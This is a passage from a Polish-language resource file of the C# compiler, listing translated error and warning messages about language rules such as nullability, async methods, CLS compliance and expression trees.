pola. + Parametry opcjonalne muszą występować po wszystkich parametrach wymaganych + Ostrzeżenie przesłania błąd + Brak odwołania do tej etykiety + Zmienna „{0}” jest zadeklarowana, lecz nie jest nigdy używana + Użycie ogólnego elementu {1} „{0}” wymaga argumentów typu „{2}” + Metoda "UnmanagedCallersOnly" "{0}" nie może implementować składowej interfejsu "{1}" w typie "{2}" + Oczekiwano dyrektywy #endif. + Instrukcja goto nie może przechodzić do lokalizacji występującej po deklaracji using. + Bieżąca metoda wywołuje metodę asynchroniczną, która zwraca zadanie lub wynik Task<TResult> i która nie stosuje operatora await do wyniku. Wywołanie metody asynchronicznej rozpoczyna zadanie asynchroniczne. Jednak ze względu na niezastosowanie operatora await działanie programu będzie kontynuowane bez oczekiwania na zakończenie zadania. W większości przypadków jest to nieoczekiwane zachowanie. Przeważnie inne aspekty metody wywołującej zależą do wyników wywołania lub przynajmniej działanie wywołanej metody powinno zakończyć się przed powrotem z metody zawierającej wywołanie. + +Równie ważnym problemem jest to, co dzieje się z wyjątkami zgłoszonymi przez wywołaną metodę asynchroniczną. Wyjątek zgłoszony w ramach metody zwracającej zadanie lub wynik Task<TResult> jest przechowywany w zwróconym zadaniu. Jeśli nie wykonasz operacji await dla zadania ani jawnie nie wyszukasz wyjątków, wyjątek zostanie utracony. Jeśli wykonasz operację await dla zadania, wyjątek zostanie ponownie zgłoszony. + +Najlepsze rozwiązanie to wykonywanie operacji await dla zadania za każdym razem. + +Pominięcie ostrzeżenia należy wziąć pod uwagę tylko w sytuacji, gdy na pewno nie chcesz czekać na zakończenie wywołania asynchronicznego oraz gdy wywołana metoda nie zgłosi żadnych wyjątków. W tym przypadku można pominąć ostrzeżenie, przydzielając wynik zadania wywołania do zmiennej. + wyrażenie zapytania + Składowa rekordu „{0}” musi być chroniona. + Nieprawidłowa wartość argumentu dla atrybutu „{0}” + Zestaw agnostyczny nie może mieć modułu specyficznego dla procesora „{0}”. + Specyfikator formatu nie może kończyć się białym znakiem. + Nie można zastosować atrybutu UnscopedRefAttribute do tego elementu, ponieważ jest on domyślnie nieobjęty zakresem. + Typu „{0}” nie można używać jako typu docelowego wyrażenia new() + Argumenty atrybutu InterpolatedStringHandlerArgumentAttribute nie mogą odwoływać się do parametru, na podstawie którego jest używany atrybut. + Zmienna jest przypisana, ale jej wartość nie jest nigdy używana + Metoda dostępu add lub remove musi mieć treść + 'Jawna implementacja metody „{0}” nie może implementować elementu „{1}”, ponieważ jest to metoda dostępu + Składowa implementuje składową za pomocą wielu dopasowań w czasie wykonywania + Komentarz XML zawiera zduplikowany tag param dla elementu „{0}” + Nazwa typu wyliczeniowego „{0}” jest zarezerwowana i nie można jej użyć + Drzewo wyrażenia lambda nie może zawierać inicjatora słownika. + Interpolowany literał nieprzetworzonego ciągu nie zaczyna się od wystarczającej liczby znaków „$”, aby zezwolić na następującą liczbę kolejnych zamykających nawiasów klamrowych jako zawartość. + Metoda "Slice" tablicy wbudowanej nie będzie używana na potrzeby wyrażenia dostępu do elementu. + Składowa „{0}” nie ukrywa składowej z możliwością dostępu. Słowo kluczowe new nie jest wymagane. + Specyfikacje argumentu nazwanego muszą występować po wszystkich stałych argumentach, które zostały określone w dynamicznym wywołaniu. + „{0}”: typów statycznych nie można użyć jako parametrów + Numer przekazany do dyrektywy preprocesora ostrzeżenia #pragma nie jest prawidłowym numerem ostrzeżenia. Upewnij się, że numer reprezentuje ostrzeżenie, a nie błąd. + Instrukcja await w blokach catch i finally + Dopuszczanie wartości null dla typów referencyjnych w zwracanym typie nie jest zgodne z docelowym delegatem (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + „{0}”: punkt wejścia nie może być elementem ogólnym ani być typu ogólnego + 'Element „{0}” nie implementuje składowej interfejsu „{1}” + „{0}” nie zawiera definicji dla „{1}”, a najlepsze przeciążenie metody rozszerzenia „{2}” wymaga odbiorcy typu „{3}” + Dyrektywa #r jest dozwolona tylko w skryptach + Nie można przekazać argumentu o typie dynamicznym do ogólnej funkcji lokalnej „{0}” z argumentami typu wywnioskowanego. + Pozycja końcowa dyrektywy #line musi być większa lub równa pozycji początkowej + Drzewo składni już istnieje + Podstawowy parametr konstruktora jest zacieniowany przez składową z bazy + Automatycznie implementowana właściwość „{0}” musi być w pełni przypisana, zanim kontrolka zostanie zwrócona do obiektu wywołującego. Rozważ zaktualizowanie do wersji językowej „{1}”, aby automatycznie ustawić domyślną właściwość. + Użycie prawdopodobnie nieprzypisanego pola. Rozważ zaktualizowanie pola do wersji językowej, aby automatycznie ustawić domyślne pole. + Wyłuskanie odwołania, które może mieć wartość null. + Nieprawidłowa nazwa wyjścia: {0} + W klasie z atrybutem ComImport nie może występować konstruktor zdefiniowany przez użytkownika. + Nazwa metody CollectionBuilderAttribute jest nieprawidłowa. + Zwracane wyrażenie musi być typu „{0}”, ponieważ ta metoda zwraca wartość przez referencję + Składowych podstawowego parametru konstruktora '{0}' typu tylko do odczytu nie można używać jako wartości ref ani out (z wyjątkiem inicjującego settera typu lub inicjalizatora zmiennej) + Właściwości zaimplementowane automatycznie w interfejsach muszą mieć metody dostępu get. + Identyfikator „{0}” nie jest zgodny ze specyfikacją CLS + Zwracany typ dla operatora ++ lub -- musi być zgodny z typem parametru lub być pochodną od typu parametru, bądź musi być parametrem typu typu zawierającego ograniczonego do niego, chyba że typ parametru jest innym parametrem typu. + Operator konwersji tablicy wbudowanej nie będzie używany do konwersji z wyrażenia typu deklarującego. + Błąd podczas odczytywania informacji dotyczących debugowania elementu „{0}” + Drzewo wyrażeń nie może zawierać wartości elementu ref struct ani typu ograniczonego „{0}”. + Klasy statyczne nie mogą zawierać destruktorów + Parametr „{0}” jest argumentem konwersji interpolowanej procedury obsługi ciągów dla parametru „{1}”, ale odpowiedni argument jest określony po wyrażeniu ciągu interpolowanego. Zmień kolejność argumentów, aby przenieść „{0}” przed „{1}”. + Podane wyrażenie jest zawsze określonego typu („{0}”) + Odwołania do plików źródłowych nie są obsługiwane. + Modyfikator rodzaju odwołania parametru nie jest zgodny z odpowiadającym mu parametrem w ukrytej składowej. + „{0}”: typów statycznych nie można użyć jako typów w instrukcji return + Nie ma zdefiniowanej kolejności pól w wielu deklaracjach częściowej struktury „{0}”. Aby określić kolejność, wszystkie pola wystąpienia muszą znajdować się w tej samej deklaracji. + Niespójność dostępności: typ zwracany indeksatora „{1}” jest mniej dostępny niż indeksator „{0}” + Pole zgodne ze specyfikacją CLS nie może być nietrwałe + Nowe wiersze wewnątrz ciągu interpolowanego nie będącego ciągiem dosłownym nie są obsługiwane w {0} języka C#. Użyj wersji językowej {1} lub nowszej. + Niespójność dostępności: typ parametru „{1}” jest mniej dostępny niż metoda „{0}” + drzewo musi zawierać węzeł główny z elementem SyntaxKind.CompilationUnit + Jako instrukcji można używać tylko wyrażeń przypisania, wywołania, zwiększenia, zmniejszenia, oczekiwania oraz utworzenia nowego obiektu. + Atrybut CallerFilePathAttribute zastosowany do parametru „{0}” nie będzie mieć efektu, ponieważ jest stosowany do składowej używanej w kontekście, który nie zezwala na korzystanie z argumentów opcjonalnych + Element params jest nieprawidłowy w tym kontekście. + Drzewo wyrażenia lambda nie może zawierać parametrów ref, in ani out + Nie można użyć typu pliku lokalnego „{0}” w dyrektywie „global using static”. + Nie można zainicjować typu „{0}” za pomocą inicjatora kolekcji, ponieważ nie implementuje on interfejsu „System.Collections.IEnumerable” + Dopasowanie wzorca jest niedozwolone dla typów wskaźnika. + Wyrażenie typu „{0}” jest zawsze zgodne z podanym wzorcem. + Funkcja „{0}” jest obecnie w wersji zapoznawczej i jest *nieobsługiwana*. Aby używać funkcji w wersji zapoznawczej, skorzystaj z wersji języka w wersji zapoznawczej. + Pierwszy operand przeciążonego operatora przesunięcia musi mieć ten sam typ co typ zawierający + inicjator właściwości automatycznej + Błąd podczas odczytywania zasobu „{0}” — „{1}” + Oczekiwano dyrektywy preprocesora + Pierwszy operand przeciążonego operatora przesunięcia musi mieć ten sam typ co typ zawierający lub jego parametr typu musi być do niego ograniczony + 'Operatora „await” nie można użyć w wyrażeniu zawierającym typ „{0}” + Nie można określić modyfikatorów dostępności dla obu metod dostępu właściwości lub indeksatora „{0}” + Deklaracje metod częściowych mają różnice w sygnaturach. + Metoda inicjatora modułu „{0}” nie może być ogólna i nie może być zawarta w typie ogólnym + Nazwy elementów krotek muszą być unikatowe. + Nazwa języka jest nieprawidłowa + „{0}”: nie można jawnie wywołać operatora lub metody dostępu. + 'Element „{0}” nie może być zewnętrzny ani zawierać inicjatora konstruktora + Typ wartości dopuszczający wartość null może być równy null. + Właściwości zaimplementowane automatycznie nie mogą zwracać wartości przez referencję + Wielowierszowe literały nieprzetworzonych ciągów są dozwolone tylko w interpolowanych ciągach dosłownych. + Brak wymaganego białego znaku. + Brak odwołania do modułu netmodule „{0}”. + Użycie prawdopodobnie nieprzypisanego pola „{0}”. Rozważ zaktualizowanie pola do wersji językowej „{1}”, aby automatycznie ustawić domyślne pole. + Element „{0}” definiuje element „Equals”, lecz nie element „GetHashCode” + Operacja spowodowała przepełnienie stosu. + zmienna iteracji foreach + „{0}”: nie można przesłonić. Element „{1}” nie jest zdarzeniem + „{0}” zduplikowany atrybut TypeForwardedToAttribute + Bufory o ustalonym rozmiarze muszą mieć długość większą niż zero. + 'Operatora „await” nie można użyć jako identyfikatora w metodzie asynchronicznej ani wyrażeniu lambda. + Nie można przekonwertować wartości stałej „{0}” na „{1}” (w celu przesłonięcia należy użyć składni instrukcji „unchecked”). + Identyfikator nie jest zgodny ze specyfikacją CLS + inicjator słownika + Błąd wewnętrzny w kompilatorze języka C#. + Zastosowany atrybut CallerArgumentExpressionAttribute do parametru „{0}” nie odniesie żadnego skutku. Jest on zastępowany przez atrybut CallerLineNumberAttribute. + Spowoduje to zwrócenie parametru przez referencję, ale jego zakres jest ograniczony do bieżącej metody + Parametr „{0}” musi mieć wartość inną niż null podczas kończenia działania, ponieważ parametr „{1}” ma wartość inną niż null. + ciągi interpolowane + Nie dla wszystkich ścieżek w kodzie jest zwracana wartość w {0} typu „{1}” + Możliwe niezamierzone porównanie odwołań; lewa strona wymaga rzutowania + W typie podstawowym „{0}” nie znaleziono dostępnego konstruktora kopiującego. + Odnaleziony członek pozycyjny „{0}” odpowiadający temu parametrowi jest ukryty. + Nie można rozpoznać ścieżki pliku „{0}” określonej dla argumentu nazwanego „{1}” atrybutu PermissionSet + Nieprawidłowy numer + Przywoływany zestaw „{0}” ma inne ustawienie kultury — „{1}”. + Niejednoznaczne odwołanie w atrybucie cref + Pierwszy parametr metody rozszerzenia nie może być parametrem typu „{0}” + odwołania tylko do odczytu + 'Element „{0}” to element „{1}”, który jest nieprawidłowy w podanym kontekście + Przeciążona metoda „{0}” różniąca się tylko specyfikacją ref lub out parametru lub rangą tablicy nie jest zgodna ze specyfikacją CLS + Nieprawidłowy typ parametru (void) + Ograniczenia są niedozwolone w deklaracjach innych niż ogólne + Komentarz XML zawiera składniowo niepoprawny atrybut cref + metody anonimowe + Adnotacja dla typów referencyjnych dopuszczających wartość null powinna być używana tylko w kodzie z kontekstem adnotacji „#nullable”. + Drzewo wyrażeń nie może zawierać wyrażenia throw. + Nie można przekonwertować typu „{0}” na „{1}”. + Wyrażenie filtru jest stałą wartością „false”, rozważ usunięcie bloku try-catch + Nazwanego argumentu „{0}” nie można wprowadzać wiele razy. + Specyfikator typu tablicy — [] — musi wystąpić przed nazwą parametru. + Nie można przekonwertować wartości null na „{0}”, ponieważ jest to nienullowalny typ wartości + Odwołanie analizatora „{0}” określono wiele razy + Modyfikator „partial” może pojawić się tylko bezpośrednio przed słowem kluczowym „class”, „record” „struct”, „interface” lub zwracanym typem metody. + Metoda „{0}” nie może być ogólna, aby była zgodna z elementem „{1}”. + Typ nie implementuje wzorca kolekcji; składowa nie jest publicznym wystąpieniem ani metodą rozszerzenia. + Typ argumentu atrybutu DefaultParameterValue musi być zgodny z typem parametru + Brak typu docelowego dla elementu „{0}” + Nieprawidłowa opcja aliasu odwołania: „{0}=” — brak nazwy pliku + Typ „{0}” nie może być używany dla pola rekordu. + Pole lub automatycznie implementowana właściwość nie może być typu „{0}”, chyba że jest to składowa struktury ref. + Nieprawidłowa wariancja: parametr typu „{1}” musi być {3} prawidłowy w elemencie „{0}”, chyba że jest używana wersja języka „{4}” lub nowsza. „{1}” to {2}. + Dyrektywa użycia pojawiła się wcześniej jako użycie globalne + Zastosowanie atrybutu CallerArgumentExpressionAttribute do parametru "{0}" nie odniesie żadnego skutku, ponieważ dotyczy składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + Nazwany argument „{0}” jest używany poza pozycją, ale następuje po nim nienazwany argument + Składowych pola tylko do odczytu „{0}” nie można zwrócić przez zapisywalne odwołanie + Nie można użyć wyrażenia typu „{0}” jako argumentu do operacji przydzielanej dynamicznie. + Wyrażenia zapytań w odniesieniu do typu źródła „dynamic” lub z sekwencją złączenia typu „dynamic” nie są dozwolone. + Opcja „{0}” przesłania atrybut „{1}” podany w pliku źródłowym lub dodanym module + „{0}”: nazwy składowych nie mogą być takie same jak nazwa zawierającego je typu + „{0}”: Typ użyty w asynchronicznej instrukcji using musi być jawnie konwertowalny na typ „System.IAsyncDisposable” lub musi implementować odpowiednią metodę „DisposeAsync”. Czy chodziło Ci o użycie instrukcji „using”, a nie „await using”? + Parametr „{0}” występuje po elemencie „{1}” na liście parametrów, ale jest on używany jako argument dla konwersji procedury obsługi ciągów interpolowanych. Będzie to wymagać od wywołującego zmiany kolejności parametrów za pomocą nazwanych argumentów w lokacji wywołania. Rozważ umieszczenie parametru procedury obsługi ciągu interpolowanego po wszystkich zastosowanych argumentach. + Nieprawidłowa nazwa algorytmu wyznaczania wartości skrótu: „{0}” + Kontekstowe słowo kluczowe „var” może występować tylko w deklaracji zmiennej lokalnej lub kodzie skryptu + Drzewo wyrażenia nie może zawierać dostępu do statycznej składowej abstrakcyjnej lub wirtualnej w interfejsie + Nieprawidłowy numer podstawowy obrazu „{0}” + Zdarzenia środowiska wykonawczego systemu Windows nie można przekazać jako parametru ze specyfikatorem out lub ref. + Wystąpienia typu „{0}” nie można użyć wewnątrz funkcji zagnieżdżonej, wyrażenia zapytania, bloku iteratora ani metody asynchronicznej + 'Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie może implementować elementu „{1}”, ponieważ brak pasującego zwracanego typu „{3}”. + Argument powinien zostać przekazany ze słowem kluczowym "ref" lub "in" + wzorce właściwości rozszerzonych + Typ jednego z wyrażeń w klauzuli {0} jest nieprawidłowy. Wnioskowanie typu nie powiodło się w wywołaniu elementu „{1}”. + Komentarz XML zawiera atrybut cref przywołujący parametr typu + Typ pliku lokalnego „{0}” nie może używać modyfikatorów ułatwień dostępu. + Podstawowy parametr konstruktora '{0}' jest zacieniowany przez składową z bazy. + Oczekiwano nazwy metody + Ustalonego, lokalnego elementu „{0}” nie można używać w metodzie anonimowej, wyrażeniu lambda ani wyrażeniu zapytania + Metoda „{0}” nie będzie używana jako punkt wejścia, ponieważ znaleziono synchroniczny punkt wejścia „{1}”. + Element „__arglist” jest nieprawidłowy w tym kontekście. + Składowa „{0}” musi mieć wartość inną niż null podczas kończenia działania. + Elementy nie mogą mieć wartości null. + To nie symbol języka C#. + Nie można przekonwertować grupy &metod „{0}” na typ wskaźnikowy elementu innego niż funkcja „{1}”. + „{0}”: typów statycznych nie można użyć jako parametrów + Tylko element „użycie statyczne” lub „użycie aliasu” może być „niebezpieczne”. + Typ „{0}” wyeksportowany z modułu „{1}” powoduje konflikt z typem zadeklarowanym w podstawowym module tego zestawu. + Wyrażenie switch nie obsługuje wszystkich możliwych wartości jego typu danych wejściowych (nie jest kompletne). + niezarządzane typy konstruowane + Przyjmuje adres, pobiera rozmiar lub deklaruje wskaźnik do typu zarządzanego + Określony ciąg wersji „{0}” jest niezgodny z wymaganym formatem — major[.minor[.build[.revision]]] + Instrukcja foreach nie może używać zmiennych typu „{0}”, ponieważ implementuje wiele utworzeń wystąpienia elementu „{1}”. Spróbuj rzutowania na konkretne utworzenie wystąpienia interfejsu + Komentarz XML ma tag param, ale nie ma parametru o takiej nazwie + Oczekiwano identyfikatora + dopasowanie wzorca + Używanie aliasu nie może być typem referencyjnym dopuszczającym wartość null. + Zastosowanie elementu CallerMemberNameAttribute nie odniesie żadnego skutku; zostanie on przesłonięty przez element CallerFilePathAttribute + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + typy plików + Drzewo wyrażenia nie może zawierać dostępu bazowego. + Parametr może mieć tylko jeden modyfikator „{0}” + Brak etykiety „{0}” w zakresie instrukcji goto + Niebezpieczny kod może się pojawić tylko w przypadku kompilowania przy użyciu opcji /unsafe + Odwołanie zwrócone przez wywołanie „{0}” nie może zostać zachowane w granicach „await” lub „yield”. + „{0}”: wirtualne ani abstrakcyjne składowe nie mogą być prywatne + Atrybut CallerArgumentExpressionAttribute zastosowano z nieprawidłową nazwą parametru. + pola pozycyjne w rekordach + składowe tylko do odczytu + Przywoływany zestaw ma inne ustawienie kultury + Pierwszy parametr „in” lub „ref „readonly” metody rozszerzenia „{0}” musi być konkretnym (nie ogólnym) typem wartości. + Generator „{0}” nie mógł przeprowadzić inicjalizacji. W rezultacie nie będzie on współtworzyć danych wyjściowych i mogą wystąpić błędy kompilacji. Wyjątek był typu „{1}” z komunikatem „{2}”. +{3} + Wartości typu „{0}” nie można użyć jako domyślnego parametru dla parametru dopuszczającego wartość null „{1}”, ponieważ typ „{0}” nie jest typem prostym + Wartości typu „{0}” nie można użyć jako domyślnego parametru, ponieważ nie ma standardowych konwersji do typu „{1}” + Obsługa wartości null dla typów odwołania w typie parametru „{0}” jest niezgodna z metodą możliwą do przechwycenia „{1}”. + „{0}” musi być wymagana, ponieważ przesłania wymaganą składową „{1}” + Element „{0}” jest abstrakcyjny, ale jest zawarty w nieabstrakcyjnym typie „{1}” + dynamiczny + Możliwe przypisanie odwołania o wartości null. + Nie można zwrócić przez odwołanie składowej parametru „{0}”, ponieważ jest on ograniczony do bieżącej metody + Moduł „{0}” w zestawie „{1}” przekazuje typ „{2}” do wielu zestawów: „{3}” i „{4}”. + Oczekiwano elementu „disable” lub „restore” po ostrzeżeniu #pragma + Wartość SecurityAction „{0}” jest nieprawidłowa dla atrybutów zabezpieczeń zastosowanych dla typu lub metody + 'Element „{0}” to element {1}, ale jest używany jak element {2} + Składowa rekordu „{0}” musi zwracać wartość „{1}”. + Dyrektywy preprocesora muszą wystąpić w wierszu jako pierwsze znaki inne niż spacja. + pole + tablica + alias użycia + separatory cyfr + Użycie prawdopodobnie nieprzypisanego pola „{0}”. Rozważ zaktualizowanie pola do wersji językowej „{1}”, aby automatycznie ustawić domyślne pole. + Użycie typu odwołania dopuszczającego wartość null „{0}?” w wyrażeniu „is-type” jest niedozwolone. Zamiast tego użyj bazowego typu „{0}”. + Parametr „{0}” musi mieć wartość inną niż null podczas kończenia działania. + zdarzenie + Modyfikator „{0}” jest nieprawidłowy dla tego elementu + odrzucenia + W pliku klucza „{0}” brakuje klucza prywatnego potrzebnego do podpisania + etykieta + Wyrażenie __arglist może się pojawić tylko wewnątrz wywołania lub nowego wyrażenia + Algorytm „{0}” nie jest obsługiwany + Metoda musi mieć typ zwracany. + parametr typu + Wyliczenia nie mogą zawierać jawnych konstruktorów bez parametrów + Element „{0}” ma atrybut „UnmanagedCallersOnly” i nie można go wywołać bezpośrednio. Uzyskaj wskaźnik funkcji do tej metody. + Obie deklaracje metody częściowej muszą mieć identyczne modyfikatory dostępności. + Nieprawidłowa lokalizacja atrybutu tej deklaracji + Wystąpił błąd kryptograficzny w czasie tworzenia mieszań. + Tej metody można użyć tylko do tworzenia tokenów — element {0} nie jest rodzajem tokenu. + Nie można użyć składowej „{0}” w tym atrybucie. + 'Element „{0}” nie może definiować przeciążonego elementu {1}, który różni się tylko modyfikatorami parametru „{2}” i „{3}” + Wskaźnik funkcji „{0}” nie przyjmuje argumentów {1} + Zduplikowany operator pomijania wartości null („!”) + Obsługa wartości null dla typów referencyjnych w typie jest niezgodna z przesłoniętą składową. + Nazwa „{0}” nie istnieje w bieżącym kontekście (brak odwołania do zestawu „{1}”?) + W bieżącym kontekście słowo kluczowe „base” jest niedostępne + Nie można użyć zmiennej lokalnej „{0}” przed jej zadeklarowaniem + asynchroniczna instrukcja using + Ciąg literału „]]>” jest niedozwolony w zawartości elementu. + „{0}”: nie może implementować interfejsu „{1}” + deklaracje zmiennych wyrażeń w inicjatorach elementów członkowskich i zapytaniach + Docelowe środowisko uruchomieniowe nie obsługuje pól referencyjnych. + Nie można przechwycić wywołania do „{0}” za pomocą „{1}” z powodu różnicy w modyfikatorach „scoped” lub atrybutach „[UnscopedRef]”. + Deklaracje metod częściowych elementu „{0}” mają niespójne opcje dopuszczania wartości null w ograniczeniach parametru typu „{1}” + Parametr jest nieprawidłowy dla określonego niezarządzanego typu. + /REFERENCEPATH opcja + Drzewo wyrażenia nie może zawierać odwołania do funkcji lokalnej + Pole ma wiele unikatowych wartości stałych. + {0} w wersji {1} + Copyright (C) Microsoft Corporation. Wszelkie prawa zastrzeżone. + Atrybut zabezpieczeń „{0}” jest nieprawidłowy w tym typie deklaracji. Atrybuty zabezpieczeń są prawidłowe tylko dla deklaracji zestawu, typu i metody. + using static + Dostęp do składowej „{0}” dodanej podczas bieżącej sesji debugowania można uzyskać tylko w deklarowanym zestawie „{1}”. + Nie można używać elementu #load po pierwszym tokenie w pliku + Nazwa typu zawiera tylko małe litery ascii. Takie nazwy mogą zostać zarezerwowane dla języka. + Drzewo wyrażenia nie może zawierać deklaracji zmiennej argumentu wyjściowego. + Nieprawidłowy typ parametru {0} w atrybucie cref komentarza XML: „{1}” + Nie można użyć typu jako parametru typu w typie ogólnym lub metodzie. Obsługa wartości null w argumencie typu jest niezgodna z ograniczeniem „class”. + Niespójność dostępności: typ ograniczony „{1}” jest mniej dostępny niż „{0}” + 'Element „{0}” nie może być zewnętrzny i zapieczętowany + Nieoczekiwany znak „{0}” + „{0}” nie jest prawidłowym argumentem nazwanego atrybutu. Argumentami nazwanego atrybutu muszą być pola, które nie są tylko do odczytu i nie są statyczne ani stałe, lub właściwości do odczytu/zapisu, które są publiczne, ale nie statyczne. + Nierozpoznana dyrektywa #pragma + Nie można zadeklarować zmiennej typu statycznego „{0}” + Dodano odwołanie do zestawu przy użyciu opcji /link (ustawienie wartości True dla właściwości Osadź typy międzyoperacyjne). Nakazuje to kompilatorowi osadzenie informacji o typie międzyoperacyjnym z tego zestawu. Jednak kompilator nie może osadzić informacji o typie międzyoperacyjnym z tego zestawu, ponieważ inny przywoływany zestaw odwołuje się do tego zestawu przy użyciu opcji /reference (ustawienie wartości False dla właściwości Osadź typy międzyoperacyjne). + +Aby osadzić informacje o typie międzyoperacyjnym dla obu zestawów, użyj opcji /link dla odwołań do każdego zestawu (ustaw wartość True dla właściwości Osadź typy międzyoperacyjne). + +Aby usunąć ostrzeżenie, możesz zamiast tego użyć opcji /reference (ustaw wartość False dla właściwości Osadź typy międzyoperacyjne). W takiej sytuacji informacje o typie międzyoperacyjnym udostępnia podstawowy zestaw międzyoperacyjny. + Obsługa wartości null dla typów odwołania w typie zwracanym jest niezgodna z metodą możliwą do przechwycenia „{0}”. + metoda dostępu właściwości treści wyrażenia + 'Element „{0}” definiuje operator == lub !=, lecz nie przesłania metody Object.Equals(object o) + Nieprawidłowa liczba argumentów typu + 'Element „{0}” nie implementuje wzorca „{1}”. Element „{2}” ma nieprawidłową sygnaturę. + Asynchroniczna instrukcja foreach wymaga, aby zwracany typ „{0}” elementu „{1}” miał odpowiednią metodę publiczną „MoveNextAsync” i właściwość publiczną „Current” + Deklaracja przestrzeni nazw nie może mieć modyfikatorów ani atrybutów. + „{0}”: pola wystąpienia w ramach typów oznaczonych elementem StructLayout(LayoutKind.Explicit) muszą mieć atrybut FieldOffset + Nie można utworzyć wystąpienia typu lub interfejsu abstrakcyjnego „{0}” + Jawna implementacja interfejsu zdarzenia musi używać składni metody dostępu zdarzenia + Obliczanie wartości stałej dla elementu „{0}” obejmuje definicję cykliczną + „{0}” to nie jest prawidłowa lokalizacja atrybutu tej deklaracji. Prawidłowe lokalizacje atrybutu tej deklaracji to „{1}”. Wszystkie atrybuty w tym bloku zostaną zignorowane. + Nie można używać wyniku wyrażenia stackalloc typu „{0}” w tym kontekście, ponieważ może zostać ujawniony poza metodą zawierającą + Element „{0}” nie jest jednoznaczny w zakresie od „{1}” do „{2}”. Użyj opcji „@{0}” lub jawnie uwzględnij sufiks „Attribute”. + Oczekiwano średnika (;) + Dynamicznie przydzielane wywołanie może nie powieść się w czasie wykonywania, ponieważ co najmniej jedno z przeciążeń, które można zastosować, to metoda warunkowa + Przestrzeń nazw powoduje konflikt z zaimportowanym typem + Metoda częściowa nie może mieć wielu deklaracji implementujących. + Nie można użyć elementu „{0}” jako wartości ref ani out, ponieważ jest to element „{1}”. + Dostęp do przyjaznego zestawu został udzielony przez „{0}”, ale silna nazwa stanu podpisywania zestawu wyjściowego nie jest zgodna z nazwą określoną przez atrybut w zestawie udzielającym dostępu. + tworzenie obiektu z typem docelowym + Konstruktor zadeklarowany w typie z listą parametrów musi mieć „ten” inicjalizator konstruktora. + Ograniczenie nie może być typu dynamicznego „{0}” + Nie można zastosować operatora „{0}” do argumentu operacji typu „{1}”. + Podstawowy parametr konstruktora typu tylko do odczytu nie może być zwracany przez zapisywalne odwołanie + „{0}”: odwołanie do pola nietrwałego nie będzie traktowane jako nietrwałe + Drzewo wyrażenia nie może zawierać operacji dynamicznej + Zmienne lokalne o typie określonym niejawnie nie mogą być ustalone. + Importowany typ „{0}” jest nieprawidłowy. Zawiera on cykliczną zależność typu bazowego. + Znaleziono wiele implementacji wzorca zapytania dla typu źródłowego „{0}”. Niejednoznaczne wywołanie elementu „{1}”. + Przełącznik wiersza polecenia „{0}” nie został jeszcze wdrożony i został zignorowany. + Obsługa wartości null dla typów referencyjnych w typie jest niezgodna z implementowaną składową. + Metoda, operator lub metoda dostępu „{0}” jest oznaczona jako zewnętrzna i nie ma atrybutów. Rozważ dodanie atrybutu DllImport w celu określenia implementacji zewnętrznej. + „{0}” nie jest prawidłową nazwą parametru z elementu „{1}”. + Niespójność dostępności: typ parametru „{1}” jest mniej dostępny niż indeksator „{0}” + Wstępnie zdefiniowany typ „{0}” jest zadeklarowany w wielu przywoływanych zestawach: „{1}” i „{2}” + właściwość z wyrażeniem w treści + Element „RefKind.Out” nie jest prawidłowym rodzajem odwołania dla zwracanego typu. + alternatywne interpolowane ciągi dosłowne + zasłanianie nazw w funkcjach zagnieżdżonych + Atrybut FieldOffset jest niedozwolony w polach typu static lub const + Nie można użyć zmiennej lokalnej typu ref „{0}” wewnątrz metody anonimowej, wyrażenia lambda ani wyrażenia zapytania + Nie można zwrócić parametru przez odwołanie „{0}”, ponieważ jest on ograniczony do bieżącej metody + Operator „{0}” jest niejednoznaczny dla operandów typu „{1}” i „{2}” + Zwracany typ „{0}” nie jest zgodny ze specyfikacją CLS + Ramię wyrażenia przełączające nie rozpoczyna się od słowa kluczowego „case”. + Atrybut CallerArgumentExpressionAttribute można zastosować tylko do parametrów z wartościami domyślnymi + Przyjęto, że odwołanie do zestawu jest zgodne z tożsamością + 'Element „{0}” nie zawiera definicji elementu „{1}” i nie można znaleźć metody rozszerzenia „{1}” przyjmującej pierwszy argument typu „{0}” (brak dyrektywy using dla elementu „{2}”?) + Określono podpisywanie opóźnione wymagające klucza publicznego, ale nie określono klucza publicznego + Wyrażenie zawsze spowoduje wystąpienie wyjątku System.NullReferenceException, ponieważ domyślna wartość elementu „{0}” to null + Dla indeksatora trzeba zdefiniować co najmniej jeden parametr. + Użycie elementu „{0}” do testowania zgodności z elementem „{1}” jest w zasadzie identyczne z testowaniem zgodności z elementem „{2}” i powiedzie się dla wszystkich wartości innych niż null + Wskazane wywołanie jest przechwytywane wiele razy. + Oczekiwano wartości typu całkowitoliczbowego + Argumentu nie można użyć jako danych wyjściowych dla parametru z powodu różnic w dopuszczalności wartości null przez typy referencyjne. + Ta funkcja językowa („{0}”) nie jest jeszcze zaimplementowana. + Drzewo składni powinno zostać utworzone na podstawie przesłanych danych. + W pełni kwalifikowana nazwa jest za długa dla informacji debugowania + Modyfikator "readonly" musi być określony po instrukcji "ref". + Nie znaleziono wartości elementu RuntimeMetadataVersion. Nie znaleziono żadnego zestawu zawierającego element System.Object ani nie określono wartości elementu RuntimeMetadataVersion za pomocą opcji. + Adnotacja dla typów referencyjnych dopuszczających wartość null powinna być używana w kodzie tylko w ramach kontekstu adnotacji „#nullable”. Wygenerowany automatycznie kod wymaga jawnej dyrektywy „#nullable” w źródle. + Interfejs z oznaczeniem „CoClassAttribute” nie ma oznaczenia „ComImportAttribute” + tablica parametrów lambda + Nie usunięto alokowanego wystąpienia ze wszystkich ścieżek wyjątków + 'Oczekiwano słowa kluczowego „in” + Wystąpił błąd w przywoływanym zestawie „{0}”. + Dopuszczanie wartości null dla typu parametru nie jest zgodne z przesłoniętą składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Nazwa elementu krotki „{0}“ nie jest dozwolona na żadnej pozycji. + Indeksowanie tablicy z ujemnym indeksem (indeksy tablicy zawsze rozpoczynają się od zera) + Atrybut CLSCompliant nie ma znaczenia, gdy jest stosowany do zwracanych typów. Zamiast tego spróbuj umieścić go w metodzie. + Element „{0}” określony dla metody Main musi być nieogólną klasą, rekordem, strukturą lub interfejsem + Ta kombinacja argumentów może uwidaczniać zmienne przywoływane przez parametr poza zakresem deklaracji + Najlepsza przeciążona metoda Add „{0}” dla elementu inicjatora kolekcji jest przestarzała. {1} + Sprawdzanie zgodności ze specyfikacja CLS nie zostanie wykonane, 